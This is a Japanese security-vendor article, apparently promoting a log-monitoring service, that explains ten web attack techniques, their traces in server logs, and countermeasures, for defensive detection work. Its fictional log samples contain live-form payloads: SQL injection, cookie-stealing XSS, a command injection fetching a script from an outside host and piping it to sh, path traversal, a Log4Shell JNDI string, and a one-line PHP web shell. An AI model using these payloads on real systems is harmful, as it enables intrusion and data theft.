目次
  1. 攻撃は「狙われた会社」だけに来るわけではない
  2. 攻撃は4つの段階で進む
  3. 代表的な攻撃手法10選と、ログに残る痕跡
  4. 「試みられた」と「成功した」を分けて見る
  5. 対策は「入口・認証・公開範囲・監視」の層で考える
  6. Previento での検知
  7. よくある質問(FAQ)
  8. まとめ
本記事について

本記事は、当社の情報漏洩未然検知サービス「Previento(プレビエント)」の検知ルールを設計・調整する中で整理した内容をもとにしています。記事中のログはすべて説明用に作成した架空のもので、IPアドレスは文書用に予約されたアドレス(203.0.113.0/24 など)を使っています。攻撃の手口は、防御と検知のために一般に知られている範囲で紹介します。

攻撃は「狙われた会社」だけに来るわけではない

サイバー攻撃というと、特定の大企業を狙った高度な攻撃を思い浮かべるかもしれません。しかし、Webサーバーに届く攻撃の大半は、ツールがインターネット上のサーバーを機械的に巡回して試すものです。相手を選んでいるわけではないため、会社の規模や知名度に関係なく、公開したその日から届きます。

IPA(情報処理推進機構)の「情報セキュリティ10大脅威 2026」でも、組織向けの脅威として「システムの脆弱性を悪用した攻撃」が4位に挙がっています。また IPA の「安全なウェブサイトの作り方」は、SQLインジェクションやOSコマンド・インジェクションなど、Webサイトで届出の多い脆弱性11種類とその対策をまとめています。

攻撃の多くは失敗に終わります。問題は、その中に成功してしまう1回が紛れていても気づけないことです。本記事では、代表的な攻撃手法を「サーバーのログにどう見えるか」という視点で整理します。

攻撃は4つの段階で進む

虫眼鏡・開きかけた扉・外れた錠前・光の粒があふれる書類箱の4つの島をオレンジ色の足跡がたどり、白いロボットが上空から追跡しているイメージイラスト

個々の手法を見る前に、攻撃全体の流れを押さえておきます。情報漏洩につながる攻撃は、おおむね次の4つの段階で進みます。どの段階かによって、ログに残る痕跡も、急ぐべき度合いも変わります。

段階攻撃者がしていることログに出やすい痕跡
1. 偵察どんなソフトが動いているか、弱そうな場所はどこかを調べる存在しないURLへの大量のアクセス(404)、スキャナの User-Agent
2. 侵入の試行脆弱性を突く文字列を送る、パスワードを総当たりするURLやパラメータに含まれる攻撃の文字列、ログイン失敗の連続
3. 成功・足場づくりログインに成功する、遠隔操作用のファイル(Webシェル)を置く失敗続きのあとのログイン成功、攻撃への成功応答(2xx)、見覚えのないスクリプト
4. 持ち出しデータベースや画面からデータをまとめて取得する連番IDの総なめ、個人情報ページへの大量アクセス、転送量の急増

段階1・2の痕跡は毎日のように出ます。一方、段階3以降の痕跡が出たら、すぐに確認が必要です。同じIPアドレスが段階1から段階4へ進んでいないかを追うことが、漏洩を「起きる前」に止める鍵になります。

代表的な攻撃手法10選と、ログに残る痕跡

ここからは、Webサーバーで実際によく見かける攻撃手法を10種紹介します。ログの例は、Apache のアクセスログ(combined 形式)と、Linux の認証ログを簡略化したものです。行末近くの3桁の数字がHTTPステータス(200=成功、302=転送、404=存在しない)、その次が応答のサイズ(バイト)です。

1. SQLインジェクション

検索欄やURLのパラメータに SQL(データベースへの命令文)の断片を混ぜ込み、本来とは違う命令を実行させる攻撃です。成功すると、会員情報などのテーブルを丸ごと読み出されるおそれがあります。個人情報漏洩に直結しやすい、もっとも警戒すべき手法の1つです。

203.0.113.24 - - [14/Oct/2026:02:41:09 +0900] "GET /item?id=1%27%20UNION%20SELECT%20name,email,tel%20FROM%20members--%20- HTTP/1.1" 200 51834 "-" "sqlmap/1.8"

%27 はシングルクォート(')をURL用に変換したものです。UNION SELECT、OR 1=1、SLEEP( などが典型的な痕跡で、User-Agent の sqlmap は自動化ツールの名前です。対策の基本は、SQL文をプレースホルダ(パラメータを後から埋め込む仕組み)で組み立て、入力値をSQLの一部として解釈させないことです。

2. クロスサイト・スクリプティング(XSS)

入力した文字列がそのままページに表示される箇所に、JavaScript を埋め込む攻撃です。閲覧した利用者のブラウザでスクリプトが動き、ログイン状態(Cookie)の盗み出しや、偽の入力フォームの表示に悪用されます。

198.51.100.7 - - [14/Oct/2026:10:12:44 +0900] "GET /search?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1" 200 8421 "-" "Mozilla/5.0"

%3Cscript%3E は <script> のことです。onerror= や javascript: も同じ目的で使われます。対策は、ページに出力する値を必ずエスケープ(< を &lt; に置き換えるなど)することです。

3. OSコマンド・インジェクション

サーバー側でOSのコマンドを呼び出している機能(ping の実行、画像変換など)に、別のコマンドを連結して送り込む攻撃です。成功すると、サーバーを直接操作されるのと同じ状態になります。

203.0.113.51 - - [14/Oct/2026:04:03:27 +0900] "GET /tools/ping?host=127.0.0.1;wget%20http://198.51.100.50/x.sh%20-O-|sh HTTP/1.1" 200 1290 "-" "curl/8.5.0"

; や |、$( のあとに wget・curl・sh が続くのが典型です。外部から不正なプログラムを取得して実行させようとしています。対策は、そもそもシェルを経由してコマンドを呼ばない設計にすること、やむを得ない場合も入力値を許可した文字だけに絞ることです。

4. パストラバーサル(ディレクトリ・トラバーサル)

ファイル名を受け取る機能(ダウンロード、テンプレートの切り替えなど)に ../ を連ねて渡し、公開していないサーバー内のファイルを読み出す攻撃です。

203.0.113.66 - - [14/Oct/2026:01:17:52 +0900] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 2817 "-" "Mozilla/5.0"

/etc/passwd は Linux のユーザー一覧のファイルで、読めるかどうかの確認によく使われます。この例のように2xx(成功)が返っていたら、実際にファイルが読めた可能性が高い状況です。対策は、ファイル名を利用者から直接受け取らず、IDなどで間接的に指定させることです。

5. ファイルインクルードと Log4Shell

プログラムが読み込むファイルを外から指定させる「ファイルインクルード」や、ログ出力ライブラリ Log4j の脆弱性を突く「Log4Shell」は、サーバーに外部のプログラムを読み込ませて実行させるタイプの攻撃です。Log4Shell は2021年に見つかった脆弱性ですが、古いシステムが残っていることを期待した試し打ちが、いまも届きます。

198.51.100.31 - - [14/Oct/2026:05:22:10 +0900] "GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1" 200 734 "-" "Mozilla/5.0"
198.51.100.32 - - [14/Oct/2026:05:22:13 +0900] "GET / HTTP/1.1" 200 15502 "-" "${jndi:ldap://198.51.100.9:1389/a}"

php:// や外部URLを値に持つパラメータ、${jndi: で始まる文字列が痕跡です。Log4Shell は User-Agent などのヘッダーに仕込まれることが多いため、URLだけでなくヘッダーも見る必要があります。対策は、ライブラリとミドルウェアを更新し続けることに尽きます。

6. 設定ファイル・バックアップの探索

データベースのパスワードなどを書いた設定ファイルや、うっかり公開領域に置いたバックアップを探す攻撃です。脆弱性を突くわけではなく、置き忘れたファイルを拾うだけなので、成功したときの被害に比べて手間がかかりません。

203.0.113.90 - - [14/Oct/2026:03:30:01 +0900] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:01 +0900] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:02 +0900] "GET /wp-config.php.bak HTTP/1.1" 404 196 "-" "Mozilla/5.0"
203.0.113.90 - - [14/Oct/2026:03:30:02 +0900] "GET /backup.zip HTTP/1.1" 200 48213877 "-" "Mozilla/5.0"

404 が並ぶのは「ありませんでした」なので問題ありません。危ないのは最後の行のように、探されたファイルに 200 が返り、大きなデータが送られているケースです。対策は、.env・.git・バックアップをドキュメントルート(公開領域)に置かないこと、置かざるを得ない場合は Web サーバーの設定で外からの取得を禁止することです。

7. 脆弱性スキャナ・ディレクトリスキャン

攻撃の「下見」です。脆弱性診断用のツールを使って、管理画面の場所や古いプラグインの有無を、大量のURLへのアクセスで調べます。これ自体で情報が漏れるわけではありませんが、次の段階の攻撃の前触れになります。

198.51.100.14 - - [14/Oct/2026:00:05:11 +0900] "GET /admin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
198.51.100.14 - - [14/Oct/2026:00:05:11 +0900] "GET /phpmyadmin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
198.51.100.14 - - [14/Oct/2026:00:05:12 +0900] "GET /wp-content/plugins/old-gallery/readme.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nuclei)"
(同じIPから、数分間に数百件の 404 が続く)

短時間に 404 ばかりが続く、nikto・nuclei・wpscan などツール名の User-Agent が出る、といった形で現れます。WordPress の場合は ?author=1 や /wp-json/wp/v2/users でログインに使うユーザー名を集める動きもよく見かけます。

8. ログインの総当たり・パスワードリスト攻撃

管理画面やSSHに対して、パスワードを次々に試す攻撃です。辞書の単語を順に試す「総当たり(ブルートフォース)」と、他のサービスから流出したIDとパスワードの組を試す「パスワードリスト攻撃」があります。後者は使い回しのパスワードが狙われるため、少ない回数で当たることがあります。

203.0.113.80 - - [14/Oct/2026:03:01:02 +0900] "POST /wp-login.php HTTP/1.1" 200 4512 "-" "Mozilla/5.0"
203.0.113.80 - - [14/Oct/2026:03:01:04 +0900] "POST /wp-login.php HTTP/1.1" 200 4512 "-" "Mozilla/5.0"
(同じ応答が数十回続く)
203.0.113.80 - - [14/Oct/2026:03:04:37 +0900] "POST /wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0"

Oct 14 03:02:11 web01 sshd[2211]: Failed password for invalid user admin from 203.0.113.80 port 51122 ssh2
Oct 14 03:02:14 web01 sshd[2213]: Failed password for root from 203.0.113.80 port 51130 ssh2
Oct 14 03:05:40 web01 sshd[2290]: Accepted password for deploy from 203.0.113.80 port 51388 ssh2

WordPress のログイン画面は、失敗するとログイン画面を再表示(200)し、成功すると管理画面へ転送(302)します。つまり、200 が続いたあとの 302 は「当てられた」サインです。SSHでも、Failed password が続いたあとの Accepted password は同じ意味を持ちます。対策は、多要素認証、SSHのパスワード認証の無効化(鍵認証のみ)、ログイン試行回数の制限です。

9. Webシェルの設置

侵入に成功した攻撃者が、次からいつでも入れるように置く遠隔操作用のスクリプトです。画像アップロード機能の悪用や、盗んだFTPアカウントで設置されます。ブラウザからアクセスするだけで、サーバー上でコマンドを実行できるようになります。

203.0.113.80 - - [15/Oct/2026:02:12:33 +0900] "POST /wp-content/uploads/2026/10/img_cache.php HTTP/1.1" 200 312 "-" "Mozilla/5.0"

(ファイルの中身の例)
<?php @eval(base64_decode($_POST['c'])); ?>

画像を置くはずのアップロード領域にある .php ファイルへの POST は、それだけで強い不審点です。中身には eval(base64_decode(…)) のような、受け取った命令を解読して実行する記述がよく見られます。アクセスログだけでは見落としやすいため、公開ディレクトリのファイルが増えた・変わったこと自体を監視するのが有効です。

10. 連番IDの列挙(データの総なめ)

URLに含まれる注文番号や会員番号を1つずつ変えて、他人のページを次々に表示させる攻撃です。特別な攻撃文字列を使わないふつうのアクセスに見えるため、WAF などの入口の防御ではもっとも止めにくい手法です。原因は、IPA の資料でいう「アクセス制御や認可制御の欠落」、つまり「そのページを見てよい人か」の確認漏れです。

198.51.100.77 - - [15/Oct/2026:23:40:01 +0900] "GET /mypage/order?id=10231 HTTP/1.1" 200 6120 "-" "python-requests/2.32"
198.51.100.77 - - [15/Oct/2026:23:40:01 +0900] "GET /mypage/order?id=10232 HTTP/1.1" 200 6087 "-" "python-requests/2.32"
198.51.100.77 - - [15/Oct/2026:23:40:02 +0900] "GET /mypage/order?id=10233 HTTP/1.1" 200 6143 "-" "python-requests/2.32"
(id を1ずつ増やしながら、数分間に数千件)

1件ずつ見ると正常な表示ですが、同じIPが同じ形のURLで、異なるIDを短時間に大量に取得しているのが痕跡です。対策の本筋は、表示のたびにログイン中の利用者とデータの持ち主が一致するかを確かめる実装です。あわせて、個人情報を扱うページへのアクセス量を監視しておくと、実装の確認漏れがあっても被害の拡大を食い止められます。

10の手法の早見表

手法ログの痕跡主な対策
SQLインジェクションUNION SELECT・OR 1=1・SLEEP(プレースホルダ
XSS<script・onerror=出力時のエスケープ
OSコマンド・インジェクション;wget・|sh・$(シェルを経由しない設計
パストラバーサル../・/etc/passwdファイル名を直接受け取らない
ファイルインクルード・Log4Shellphp://・${jndi:ライブラリ・ミドルウェアの更新
設定ファイルの探索/.env・/.git/・*.zip公開領域に置かない
スキャナ・ディレクトリスキャン404 の連続、ツール名の User-Agent不要な画面・プラグインの削除
ログインの総当たり失敗の連続、そのあとの成功多要素認証・鍵認証・回数制限
Webシェルの設置アップロード領域の .php、ファイルの新規作成アップロード領域での実行禁止
連番IDの列挙同じ形のURLで異なるIDを大量取得表示ごとの権限確認

「試みられた」と「成功した」を分けて見る

サーバーに向かって飛んでくる多数のオレンジ色の矢がほとんど青い盾に跳ね返される中、盾をすり抜けた1本の矢に白いロボットが虫眼鏡でスポットライトを当てているイメージイラスト

ここまでのログ例を見るとわかるとおり、攻撃の文字列が含まれているだけなら、それは「試みられた」にすぎません。公開サーバーではこうした試行が毎日届くため、試行のたびに担当者へ緊急の通知を送ると、すぐに誰も通知を見なくなります。本当に知らせるべきなのは、「成功したかもしれない」兆候です。

  • 攻撃への成功応答——設定ファイルやパストラバーサルの要求に 2xx が返った。SQLインジェクションの要求に、そのページのふだんより明らかに大きい応答が返った
  • 失敗の連続のあとの成功——ログイン失敗が続いた同じIPから、ログイン成功(302・Accepted password)が出た
  • 攻撃のあとの大量取得——攻撃と成功の兆候を示した同じIPが、続けて連番IDの総なめや大量のダウンロードをした

特に重要なのは、同じIPアドレスの動きを時系列でつなげて見ることです。1行ずつでは「よくある試行」にしか見えないログも、「偵察 → 攻撃 → 成功の兆候 → 大量取得」と並べると、侵害と持ち出しが進んでいる様子がはっきりします。

当社でもつまずいた「成功の判定」

Previento を開発する中で、当初は「攻撃の文字列を含む要求に 2xx が返ったら成功の疑い」としていました。ところが、これでは誤検知が多く出ました。たとえば WordPress のサイト内検索(?s=)は、どんな文字列を受け取っても「検索結果なし」のページを 200 で返します。攻撃の文字列が無視されただけなのに、成功と判定してしまったのです。

そこで、判定を次のように改めました。

  • 応答のサイズを比べる——そのページのふだんの応答や、別の攻撃文字列への応答とほぼ同じサイズなら「値は無視された」とみなし、成功としない
  • 決め手がないものは「要確認」に留める——ふだんの応答を見たことがないページなど、成否を判定できないときは重大扱いにしない
  • 試行は警告、成功の兆候で初めて重大——重要度を段階に分け、緊急の通知が本当に必要なものだけに届くようにする

ログだけで攻撃の成否を100%判定することはできません。それでも、「試行」と「成功の兆候」を分け、成功の兆候を同じIPの前後のログと一緒に示せば、担当者が数分で事実を確認できる状態にはできます。

対策は「入口・認証・公開範囲・監視」の層で考える

中央の青い宝箱を何重もの城壁と鍵のかかった門が囲み、見張り塔の上から白いロボットたちが周囲を見張っている、多層防御を表すイメージイラスト

10の手法の対策を並べると、どれか1つの製品で全部を防げるわけではないことがわかります。当社では、Webサーバーの守りを次の4つの層に分けて考えています。

層主な対策主に防げる手法
入口(作り)プレースホルダ、エスケープ、シェルを経由しない設計、ソフトの更新、WAF1〜5
認証多要素認証、SSHの鍵認証、試行回数の制限、パスワードの使い回し禁止8
公開範囲・権限設定ファイルを公開領域に置かない、アップロード領域での実行禁止、表示ごとの権限確認6・9・10
監視ログとファイルの変化を見て、すり抜けた攻撃の兆候に気づくすべて(特に成功の兆候)

入口・認証・公開範囲の3層は「防ぐ」ための対策です。ただし、古いプラグインの脆弱性や、流出したパスワードの使い回し、実装の確認漏れなど、防御には必ずどこかに穴が残ります。最後の監視の層は、その穴を通り抜けた攻撃に、被害が広がる前に気づくための層です。

Previento での検知

Previento(プレビエント)のロゴ。シールドとレーダー状の瞳を組み合わせたマーク

当社の「Previento(プレビエント)」は、この監視の層を担うクラウド型のサービスです。Webサーバー・DBサーバーのログを24時間読み取り、本記事で紹介した10の手法を含む50種類以上の検知ルールで判定します。

  • サイトへの攻撃——SQLインジェクション・XSS・OSコマンド・インジェクション・パストラバーサル・ファイルインクルード・Log4Shell・設定ファイルの探索・スキャナの利用を検知し、成功を示す応答が返ったかも判定
  • ログインの総当たりと成功——Web の管理画面・SSH・データベースへの総当たりを検知。失敗が続いたあとの成功は重大として通知
  • Webシェルの設置——公開ディレクトリのスクリプトの新規作成・変更と、Webシェルの特徴を持つ記述を検知
  • データの持ち出し——連番IDの総なめ、個人情報を扱うページへの大量アクセス、転送量の急増を検知
  • 流れの相関——同じIPの「攻撃 → 成功の兆候 → 大量取得」をつなぎ、「侵害の疑い」「データ持ち出しの疑い」としてまとめて通知

検知の内容は、重要度(重大・警告・情報)に分けて LINE・Slack・メールへ届きます。管理画面では、検知ごとに「何が起きているか」「放置するとどうなるか」「今すぐやること」「誤検知の可能性」を、専門用語を避けた日本語で確認できます。なお、検知のしきい値(何回・何分で判定するか)は、回避の手がかりになるため公開していません。お客様のサイトの通常のアクセス量に合わせて調整します。

製品ページ

管理画面・料金・導入の流れは Previento の製品ページ で紹介しています。初期費用0円、月額3万円〜(税別)、最短3営業日で稼働します。

よくある質問(FAQ)

Q. 小規模な会社のWebサイトでも攻撃されますか?
A. はい。攻撃の多くは、ツールがインターネット上のサーバーを機械的に巡回して試すもので、会社の規模や知名度で相手を選んでいるわけではありません。公開して間もないサイトにも、設定ファイルの探索やログインの総当たりが届きます。
Q. WAFを導入していれば、ログの監視は不要ですか?
A. WAFは既知の攻撃パターンを入口で止めるのに有効ですが、盗まれた正規のパスワードによるログインや、正規の画面を使った連番IDの大量取得は、ふつうのアクセスと見分けにくく、すり抜けることがあります。ログを見て「攻撃のあとに成功の兆候があったか」を確かめる監視と組み合わせるのが安全です。
Q. Previento は、どの攻撃手法を検知できますか?
A. 本記事で紹介した10種を含め、50種類以上の検知ルールで、SQLインジェクションなどのサイトへの攻撃、ログインの総当たりと成功、Webシェルの設置、連番IDによる大量取得などを検知します。攻撃が成功した兆候は重大として、LINE・Slack・メールへ即時に通知します。

まとめ

Webサーバーを狙う代表的な攻撃手法として、SQLインジェクション・XSS・OSコマンド・インジェクション・パストラバーサル・ファイルインクルードと Log4Shell・設定ファイルの探索・スキャナ・ログインの総当たり・Webシェルの設置・連番IDの列挙の10種を、ログの痕跡と対策つきで紹介しました。どの手法も、アクセスログや認証ログに読み取れる形で痕跡が残ります。

大切なのは、毎日届く「試行」と、まれに紛れ込む「成功の兆候」を分けて見ることです。成功の兆候を、同じIPの前後の動きと一緒に確かめられれば、侵入されてから外部の指摘で気づく、という事態を避けやすくなります。

当社の「Previento」は、この見分けを24時間続けるサービスです。「自社のサーバーにどんな攻撃が来ているか見てみたい」「ログはあるが誰も見ていない」という段階のご相談も歓迎です。